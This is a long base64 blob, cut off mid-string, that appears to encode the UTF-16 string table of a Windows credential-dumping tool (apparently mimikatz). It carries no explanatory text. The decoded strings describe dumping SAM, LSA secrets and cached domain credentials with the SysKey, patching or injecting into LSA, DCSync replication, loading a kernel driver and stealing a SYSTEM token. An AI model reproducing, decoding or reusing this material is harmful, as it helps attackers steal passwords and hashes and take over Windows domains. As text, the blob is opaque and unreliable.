gACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABDAHIAZQBhAHQAZQBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGkAcwBGAGkAbABlAEUAeABpAHMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoAE8AZgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAUwB0AGEAcgB0AFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAQwBNAGEAbgBhAGcAZQByACgAYwByAGUAYQB0AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHQAbwBwAHAAZQBkAAoAAAAAAAAAAAAAAAAAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBzAHQAbwBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAByAGUAbQBvAHYAZQBkAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcgBlAG0AbwB2AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAHIAZQBtAG8AdgBlAAAAAABQAHIAbwBjAGUAcwBzACAAOgAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAHAAaQBkAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABBAHIAZwB1AG0AZQBuAHQAIAAvAHAAcgBvAGMAZQBzAHMAOgBwAHIAbwBnAHIAYQBtAC4AZQB4AGUAIABvAHIAIAAvAHAAaQBkADoAcAByAG8AYwBlAHMAcwBpAGQAIABuAGUAZQBkAGUAZAAKAAAAAAAAAAAAUABJAEQAIAAlAHUAIAAtAD4AIAAlADAAMgB4AC8AJQAwADIAeAAgAFsAJQAxAHgALQAlADEAeAAtACUAMQB4AF0ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAE4AbwAgAFAASQBEAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAFAAcgBvAHQAZQBjAHQAZQBkACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABiAGUAZgBvAHIAZQAgAFcAaQBuAGQAbwB3AHMAIABWAGkAcwB0AGEACgAAAAAAZgByAG8AbQAAAAAAdABvAAAAAAAAAAAAVABvAGsAZQBuACAAZgByAG8AbQAgAHAAcgBvAGMAZQBzAHMAIAAlAHUAIAB0AG8AIABwAHIAbwBjAGUAcwBzACAAJQB1AAoAAAAAAAAAAAAgACoAIABmAHIAbwBtACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAUwBZAFMAVABFAE0AIAB0AG8AawBlAG4ACgAAAAAAAAAAAAAAAAAAACAAKgAgAHQAbwAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAGEAbABsACAAJwBjAG0AZAAnACAAYQBuAGQAIAAnAG0AaQBtAGkAawBhAHQAegAnACAAcAByAG8AYwBlAHMAcwAKAAAAVABhAHIAZwBlAHQAIAA9ACAAMAB4ACUAcAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBuAG8AdABpAGYAeQBHAGUAbgBlAHIAaQBjAFIAZQBtAG8AdgBlACAAOwAgAE4AbwAgAGEAZABkAHIAZQBzAHMAPwAKAAAAAABzAGEAbQAAAAAAAAAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMAQQBNACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABzAGUAYwByAGUAdABzAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMARQBDAFIARQBUAFMAIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAAAAAAAAAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAE4ATAAkAEsATQAgAHQAaABlAG4AIABNAFMAQwBhAGMAaABlACgAdgAyACkAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAAABsAHMAYQAAAEEAcwBrACAATABTAEEAIABTAGUAcgB2AGUAcgAgAHQAbwAgAHIAZQB0AHIAaQBlAHYAZQAgAFMAQQBNAC8AQQBEACAAZQBuAHQAcgBpAGUAcwAgACgAbgBvAHIAbQBhAGwALAAgAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAIABvAHIAIABpAG4AagBlAGMAdAApAAAAAAB0AHIAdQBzAHQAAAAAAAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAVAByAHUAcwB0ACAAQQB1AHQAaAAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAgACgAbgBvAHIAbQBhAGwAIABvAHIAIABwAGEAdABjAGgAIABvAG4AIAB0AGgAZQAgAGYAbAB5ACkAAAAAAGIAYQBjAGsAdQBwAGsAZQB5AHMAAAAAAHIAcABkAGEAdABhAAAAAABkAGMAcwB5AG4AYwAAAAAAAAAAAAAAAABBAHMAawAgAGEAIABEAEMAIAB0AG8AIABzAHkAbgBjAGgAcgBvAG4AaQB6AGUAIABhAG4AIABvAGIAagBlAGMAdAAAAAAAAABsAHMAYQBkAHUAbQBwAAAATABzAGEARAB1AG0AcAAgAG0AbwBkAHUAbABlAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBBAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUwBZAFMAVABFAE0AAAAAAFMAQQBNAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBBAE0AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAawBpAHcAaQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEUAQwBVAFIASQBUAFkAIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAFMARQBDAFUAUgBJAFQAWQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEUAQwBVAFIASQBUAFkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwB1AHIAcgBlAG4AdAAAAEQAZQBmAGEAdQBsAHQAAABDAG8AbgB0AHIAbwBsAFMAZQB0ADAAMAAwAAAAAAAAAFMAZQBsAGUAYwB0AAAAAAAlADAAMwB1AAAAAABKAEQAAAAAAAAAAABTAGsAZQB3ADEAAAAAAAAARwBCAEcAAABEAGEAdABhAAAAAAAlAHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAAOwAgAEwAUwBBACAASwBlAHkAIABDAGwAYQBzAHMAIAByAGUAYQBkACAAZQByAHIAbwByAAoAAAAAAEQAbwBtAGEAaQBuACAAOgAgAAAAAAAAAEMAbwBuAHQAcgBvAGwAXABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQBcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAAAAAAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAAAAAAAAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAgAEsATwAKAAAAAAAAAFMAeQBzAEsAZQB5ACAAOgAgAAAAAAAAAEMAbwBuAHQAcgBvAGwAXABMAFMAQQAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAASwBPAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAATABTAEEAIABLAE8ACgAAAAAAAAAAAFMAQQBNAFwARABvAG0AYQBpAG4AcwBcAEEAYwBjAG8AdQBuAHQAAABWAAAAAAAAAEwAbwBjAGEAbAAgAFMASQBEACAAOgAgAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFYAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQB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lAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0ACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAG0AYQBjACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAVQBzAGUAcgAgACAAIAAgACAAIAA6ACAAJQAuACoAcwBcACUALgAqAHMACgAAAAAATQBzAEMAYQBjAGgAZQBWACUAYwAgADoAIAAAAAAAAABPAGIAagBlAGMAdABOAGEAbQBlAAAAAAAgAC8AIABzAGUAcgB2AGkAYwBlACAAJwAlAHMAJwAgAHcAaQB0AGgAIAB1AHMAZQByAG4AYQBtAGUAIAA6ACAAJQBzAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAZQBjAHIAeQBwAHQAUwBlAGMAcgBlAHQAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFMAZQBjAHIAZQB0ACAAdgBhAGwAdQBlACAASwBPAAoAAAAAAAAAdABlAHgAdAA6ACAAJQB3AFoAAAAAAAAAaABlAHgAIAA6ACAAAAAAACQATQBBAEMASABJAE4ARQAuAEEAQwBDAAAAAAAAAAAACgAgACAAIAAgAE4AVABMAE0AOgAAAAAACgAgACAAIAAgAFMASABBADEAOgAAAAAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AAAAAAAAAAAAKACAAIAAgACAAZgB1AGwAbAA6ACAAAAAKACAAIAAgACAAbQAvAHUAIAA6ACAAAAAgAC8AIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAAAAGwAcwBhAHMAcgB2AC4AZABsAGwAAAAAAG4AdABkAGwAbAAuAGQAbABsAAAAAAAAAGsAZQByAG4AZQBsADMAMgAuAGQAbABsAAAAAAAAAAAAU2FtSUNvbm5lY3QAAAAAAFNhbXJDbG9zZUhhbmRsZQBTYW1JUmV0cmlldmVQcmltYXJ5Q3JlZGVudGlhbHMAAFNhbXJPcGVuRG9tYWluAABTYW1yT3BlblVzZXIAAAAAU2FtclF1ZXJ5SW5mb3JtYXRpb25Vc2VyAAAAAAAAAABTYW1JRnJlZV9TQU1QUl9VU0VSX0lORk9fQlVGRkVSAExzYUlRdWVyeUluZm9ybWF0aW9uUG9saWN5VHJ1c3RlZAAAAAAAAABMc2FJRnJlZV9MU0FQUl9QT0xJQ1lfSU5GT1JNQVRJT04AAAAAAAAAVmlydHVhbEFsbG9jAAAAAExvY2FsRnJlZQAAAG1lbWNweQAAAAAAAHAAYQB0AGMAaAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAGkAbgBqAGUAYwB0AAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAAAAAAAEQAbwBtAGEAaQBuACAAOgAgACUAdwBaACAALwAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAJwAlAHMAJwAgAGkAcwAgAG4AbwB0ACAAYQAgAHYAYQBsAGkAZAAgAEkAZAAKAAAAAABuAGEAbQBlAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABOAGEAbQBlAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAUwBhAG0AUwBzAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHM